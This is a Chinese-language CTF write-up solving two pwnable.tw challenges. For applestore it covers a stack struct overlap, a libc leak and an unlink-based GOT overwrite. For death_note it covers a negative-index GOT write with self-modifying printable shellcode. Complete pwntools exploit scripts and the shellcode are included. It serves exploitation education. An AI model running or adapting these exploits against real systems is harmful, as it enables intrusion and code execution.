pwnable.tw中的applestore、death_note。
0x01 applestore 程序分析 保护机制 没有开启PIE,RELRO仅为 Partial RELRO,因此可以修改got表
数据结构 程序模拟了一个苹果商店的功能,用户可以往商品列表中增加或删除苹果设备
程序中加入删除商品时,会维护一个单向链表,链表节点结构体如下,链表头位于.bss段,其中,每个节点0x10大小的结构体由malloc(0x10)获得,节点中的device_name,也由malloc动态分配
插入节点操作:
删除节点操作如下,其中红框部分为重点
漏洞点 checkout函数中,当总金额达到7174元时,会在栈中开辟0x10大小的空间作为一个device结构体,插入到单向链表中
注意看到,这里,栈上的device结构体v2的地址,为ebp-20h 。
而cart函数中的buf的地址,为ebp-22h ,可以覆盖掉checkout函数中插入链表的栈上的那个device结构体,并在接下来的打印device_name 时泄漏任意地址。比如,将v2.device_name 覆盖成atoi函数的got表 地址,即可泄漏libc。
同样的,在delete函数中,也可以覆盖掉checkout函数中插入链表的栈上的那个device结构体,然后将它delete时可以进行unlink 。
漏洞利用 首先是要使总金额刚好为7174元,可以获得一个栈上的结构体。这里借助python脚本获得凑成7174元的方案:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ''' === Device List === 1: iPhone 6 - $199 2: iPhone 6 Plus - $299 3: iPad Air 2 - $499 4: iPad Mini 3 - $399 5: iPod Touch - $199 ''' for a in range(37): for b in range(24): for c in range(18): for d in range(15): if (199*a+299*b+399*c+499*d)==7174: print "a:"+str(a)+"\tb:"+str(b)+"\tc:"+str(c)+"\td:"+str(d)
符合条件的结果很多,随便挑一个方案就好了。
然后利用上面讲到的,通过atoi 函数的got 表项来泄漏libc的地址。
接下来就是通过unlink来劫持执行流了
unlink 这里详细看一下题目中的unlink:
例如,如果将next_device 覆盖成addr_1-0xc ,将pre_device 覆盖成addr_2 ,就可以往addr_1 写入addr_2 ,前提是addr_1和addr_2所在的区域都具有可写权限。因此,一开始我想通过这样,向atoi_got中写入system函数的地址。但是经过调试发现是不可行的,因为system函数的地址不具备写的权限,这样完整的unlink无法完成,程序会因为地址权限错误崩溃。
因此,这里利用的思路是,通过libc中的environ 变量,泄漏出栈的地址,然后在delete()函数中,通过unlink将delete函数保存的old ebp(即handler函数的ebp)修改成atoi_got+22h 的地址。然后通过delete函数中的leave 指令(等价于mov esp, ebp ; pop ebp )使得handler函数的ebp 寄存器中的值为atoi_got 。返回到handler函数后,可以看到,handler函数的读取选项的缓冲区地址为ebp-22h ,即:atoi_got+22h-22h=atoi_got ,而且,通过汇编可以看到这里my_read函数确实是通过ebp值来寻址的,这样就可以往atoi_got 中写入system 函数的值了
完整EXP 关键代码已作注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *context.terminal = ['terminator' , '-x' , 'bash' , '-c' ] if args['REMOTE' ]: p = remote('chall.pwnable.tw' , 10104 ) elf = ELF('./applestore' ) libc = ELF('./libc_32.so.6' ) else : p = process('./applestore' ) elf = ELF('./applestore' ) libc = elf.libc ''' === Device List === 1: iPhone 6 - $199 2: iPhone 6 Plus - $299 3: iPad Air 2 - $499 4: iPad Mini 3 - $399 5: iPod Touch - $199 ''' def add (device ): p.sendlineafter('> ' , '2' ) p.sendlineafter('Device Number> ' , str (device)) def delete (index ): p.sendlineafter('> ' , '3' ) p.sendlineafter('Item Number> ' , str (index)) def pwn (): puts_got = elf.got['puts' ] atoi_got = elf.got['atoi' ] for i in range (6 ): add(1 ) for i in range (20 ): add(2 ) p.sendlineafter('> ' , '5' ) p.sendlineafter('> ' , 'y' ) p.sendlineafter('> ' , '4' ) p.sendafter('> ' , 'yy' +p32(puts_got)+p32(1 )+p32(0 )+p32(0 )) p.recvuntil('27: ' ) libc.address = u32(p.recvn(4 )) - libc.symbols['puts' ] log.success('libc base : ' + hex (libc.address)) environ = libc.symbols['environ' ] p.sendlineafter('> ' , '4' ) p.sendafter('> ' , 'yy' +p32(environ)+p32(1 )+p32(0 )+p32(0 )) p.recvuntil('27: ' ) old_ebp = u32(p.recvn(4 )) - 0x104 log.success('ebp value : ' + hex (old_ebp)) delete('27' + p32(atoi_got) + p32(1 ) + p32(old_ebp-0xc ) + p32(atoi_got+0x22 )) system = libc.symbols['system' ] p.sendlineafter('> ' , p32(system)+';/bin/sh\x00' ) pwn() p.interactive()
0x02 death_note 程序分析 保护机制 只开启了Canary和Partial Relro,且具有RWX(可读可写可执行)段
漏洞点 add_note函数中,当index<0时,可向前数组越界,可往目标地址处写入一个堆的地址
漏洞利用 由于全局变量note数组位于.bss段,向前越界可以写的目标有got表。例如,输入index为-16(该处为puts函数的got表项),然后输入name时输入shellcode,这样puts函数的got表项就会被改写成shellcode的地址了。
printable shellcode 但是这道题有一个限制,会用is_printable函数对输入的内容进行检查,必须为可显字符,这样常规的shellcode是会被拦截的。
这里直接使用了p4nda 大哥的writeup ,里面提到,本题中可用的一些可打印的汇编指令如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 1.数据传送: push/pop eax… pusha/popa 2.算术运算: inc/dec eax… sub al, 立即数 sub byte ptr [eax… + 立即数], al dl… sub byte ptr [eax… + 立即数], ah dh… sub dword ptr [eax… + 立即数], esi edi sub word ptr [eax… + 立即数], si di sub al dl…, byte ptr [eax… + 立即数] sub ah dh…, byte ptr [eax… + 立即数] sub esi edi, dword ptr [eax… + 立即数] sub si di, word ptr [eax… + 立即数] 3.逻辑运算: and al, 立即数 and dword ptr [eax… + 立即数], esi edi and word ptr [eax… + 立即数], si di and ah dh…, byte ptr [ecx edx… + 立即数] and esi edi, dword ptr [eax… + 立即数] and si di, word ptr [eax… + 立即数] xor al, 立即数 xor byte ptr [eax… + 立即数], al dl… xor byte ptr [eax… + 立即数], ah dh… xor dword ptr [eax… + 立即数], esi edi xor word ptr [eax… + 立即数], si di xor al dl…, byte ptr [eax… + 立即数] xor ah dh…, byte ptr [eax… + 立即数] xor esi edi, dword ptr [eax… + 立即数] xor si di, word ptr [eax… + 立即数] 4.比较指令: cmp al, 立即数 cmp byte ptr [eax… + 立即数], al dl… cmp byte ptr [eax… + 立即数], ah dh… cmp dword ptr [eax… + 立即数], esi edi cmp word ptr [eax… + 立即数], si di cmp al dl…, byte ptr [eax… + 立即数] cmp ah dh…, byte ptr [eax… + 立即数] cmp esi edi, dword ptr [eax… + 立即数] cmp si di, word ptr [eax… + 立即数] 5.转移指令: push 56h pop eax cmp al, 43h jnz lable <=> jmp lable 6.交换al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax 7.清零: push 44h pop eax sub al, 44h ; eax = 0 push esi push esp pop eax xor [eax], esi ; esi = 0
结合触发shellcode(call puts)时的寄存器状态,p4nda 大哥写出了如下shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 shellcode = ''' /* execve(path='/bin///sh', argv=0, envp=0) */ /* push '/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f push esp pop ebx /*rewrite shellcode to get 'int 80'*/ push edx pop eax push 0x60606060 pop edx sub byte ptr[eax + 0x35] , dl sub byte ptr[eax + 0x35] , dl sub byte ptr[eax + 0x34] , dl push 0x3e3e3e3e pop edx sub byte ptr[eax + 0x34] , dl /*set zero to edx*/ push ecx pop edx /*set 0x0b to eax*/ push edx pop eax xor al, 0x40 xor al, 0x4b /*foo order,for holding the place*/ push edx pop edx push edx pop edx ''' shellcode = asm(shellcode) + '\x6b\x40'
这里觉得比较巧妙的是rewrite shellcode to get 'int 80'
这一步,因为原本的int 0x80 指令是不可显的,这里就用一些可显得指令去重写shellcode,使该处的指令最终变成int 0x80 。太厉害啦!
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *import binasciicontext.terminal = ['terminator' , '-x' , 'bash' , '-c' ] context(arch = 'i386' , os = 'linux' ) if args['REMOTE' ]: p = remote('chall.pwnable.tw' , 10201 ) else : p = process('./death_note' ) def add (index, name ): p.sendlineafter('Your choice :' , '1' ) p.sendlineafter('Index :' , str (index)) p.sendlineafter('Name :' , name) def show (index ): p.sendlineafter('Your choice :' , '2' ) p.sendlineafter('Index :' , str (index)) shellcode = ''' /* execve(path='/bin///sh', argv=0, envp=0) */ /* push '/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f push esp pop ebx /*rewrite shellcode to get 'int 80'*/ push edx pop eax push 0x60606060 pop edx sub byte ptr[eax + 0x35] , dl sub byte ptr[eax + 0x35] , dl sub byte ptr[eax + 0x34] , dl push 0x3e3e3e3e pop edx sub byte ptr[eax + 0x34] , dl /*set zero to edx*/ push ecx pop edx /*set 0x0b to eax*/ push edx pop eax xor al, 0x40 xor al, 0x4b /*foo order,for holding the place*/ push edx pop edx push edx pop edx ''' shellcode = asm(shellcode) + '\x6b\x40' def pwn (): gdb.attach(p, 'b *0x080487ef' ) add(-16 , shellcode) pwn() p.interactive()